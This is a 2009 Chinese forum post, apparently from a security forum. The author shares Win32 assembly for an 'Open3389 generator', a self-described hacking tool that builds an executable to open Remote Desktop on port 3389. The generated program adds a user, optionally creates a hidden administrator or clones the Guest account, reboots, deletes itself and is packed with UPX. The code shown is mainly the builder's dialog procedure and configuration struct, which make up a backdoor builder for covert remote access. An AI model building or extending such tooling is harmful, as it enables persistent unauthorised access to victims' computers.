【文章标题】: 【原创】Open3389生成器(WIN32ASM)
【文章作者】: 非虫
【作者邮箱】: fei_cong@hotmail.com
【作者主页】: http://blog.sina.com.cn/feicong0809
【软件名称】: Open3389生成器(WIN32ASM)
【下载地址】: 自己搜索下载
【编写语言】: win32asm
【软件介绍】: 开3389用的小黑工具
--------------------------------------------------------------------------------
本人菜鸟一只。
程序用到结构,用来配置生成器
MODIFY_DATA struct
tsport DWORD ? ;3389端口
local_user db 16 dup(?) ;添加用户名
local_pwd db 16 dup(?) ;用户名密码
guest_pwd db 16 dup(?)
bHide BOOL ? ;是否建立隐藏管理员
bGuest BOOL ? ;克隆Guest
bReboot BOOL ? ;自动重启?
bDelself BOOL ? ;删除自身?
MODIFY_DATA ends
看下架设函数,完整程序见打包文件。
;窗口回调子程序
DlgProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
mov eax,uMsg
.if eax==WM_INITDIALOG
push hWnd
pop hWinMain
mov eax,1
sub eax,stmod.bDelself
xchg eax,stmod.bDelself
mov eax,1
sub eax,bKE
xchg eax,bKE
invoke DoCheck
;************************ 改变图标 ******************************************************
invoke LoadIcon,hInstance,ICO_1
push eax
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
pop eax
invoke DeleteObject,eax
;*********************** 背景颜色 *******************************************************
invoke CreateSolidBrush,0ff00h ;背景颜色 绿色环保 ^_^
mov hBrush1,eax
;********************** 字数限制 ********************************************************
invoke SendDlgItemMessage,hWnd,IDC_PORT,EM_LIMITTEXT,5,0 ;port < 65535
invoke SendDlgItemMessage,hWnd,IDC_USER,EM_LIMITTEXT,15,0 ;16 - 1
invoke SendDlgItemMessage,hWnd,IDC_PASS,EM_LIMITTEXT,15,0
invoke SendDlgItemMessage,hWnd,IDC_GUESTPASS,EM_LIMITTEXT,15,0
;********************* 子类化按钮 *********************************************************
invoke GetDlgItem,hWnd,IDC_BUILD
mov hBtn1,eax
invoke GetDlgItem,hWnd,IDC_ABOUT
mov hBtn2,eax
invoke GetDlgItem,hWnd,IDC_EXIT
mov hBtn3,eax
invoke SubBmpBtn,hBtn1
invoke SubBmpBtn,hBtn2
invoke SubBmpBtn,hBtn3
;******************** 画背景 **********************************************************
.elseif eax == WM_CTLCOLORDLG
mov eax,hBrush1
ret
.elseif eax == WM_CTLCOLOREDIT
invoke SetBkMode,wParam,TRANSPARENT
invoke SetTextColor,wParam,Red
mov eax,hBrush1
ret
.elseif eax == WM_CTLCOLORSTATIC
invoke SetBkMode,wParam,TRANSPARENT
mov eax,hBrush1
ret
;********************* 按钮自给制 *********************************************************
.elseif uMsg == WM_DRAWITEM
mov eax,wParam
switch eax
case IDC_BUILD
invoke SendMessage,hBtn1,WM_DRAWITEM,wParam,lParam
ret
case IDC_ABOUT
invoke SendMessage,hBtn2,WM_DRAWITEM,wParam,lParam
ret
case IDC_EXIT
invoke SendMessage,hBtn3,WM_DRAWITEM,wParam,lParam
ret
endsw
;*********************** 命令消息响应 *******************************************************
.elseif eax==WM_COMMAND
mov eax,wParam
movzx eax,ax
.if eax == IDC_EXIT
invoke SendMessage,hWnd,WM_CLOSE,0,0
.elseif eax == IDC_ABOUT
invoke MessageBox,hWnd,addr szAbout,CTXT('关于'),MB_OK
.elseif eax == IDC_REBOOT
mov eax,1
sub eax,stmod.bReboot
xchg eax,stmod.bReboot
invoke DoCheck
.elseif eax == IDC_DELSELF
mov eax,1
sub eax,stmod.bDelself
xchg eax,stmod.bDelself
invoke DoCheck
.elseif eax == IDC_KE
mov eax,1
sub eax,bKE
xchg eax,bKE
invoke DoCheck
.elseif eax == IDC_ALLOWUSER
mov eax,1
sub eax,stmod.bHide
xchg eax,stmod.bHide
invoke DoCheck
.elseif eax == IDC_ALLOWCLONE
mov eax,1
sub eax,stmod.bGuest
xchg eax,stmod.bGuest
invoke DoCheck
.elseif eax == IDC_BUILD ;生成
invoke GetModInfo ;读MOD
invoke WriteModInfo ;写MOD
.if bKE ;加壳吗??
invoke ExtractRes,hInstance,IRS_UPX,RT_RCDATA,CTXT("upx.exe")
invoke RunCmd,CTXT("upx.exe -q -f 3389.exe")
invoke DeleteFile,CTXT("upx.exe")
.endif
invoke MessageBox,hWnd,CTXT("3389.exe已生成!"),CTXT('提示'),0
.endif
.elseif eax==WM_CLOSE
.if hBrush1
invoke DeleteObject,hBrush1 ;销毁背景画刷句柄
.endif
invoke EndDialog,hWnd,0
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp
最后说下程序的调试,当时没装虚拟机,调试重启就是不成功,后来一瞬间的重启还人感觉很爽啊!!(疯了)
--------------------------------------------------------------------------------
【版权声明】: 切勿用于非法用途
2009年08月25日 17:58:08
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
上传的附件: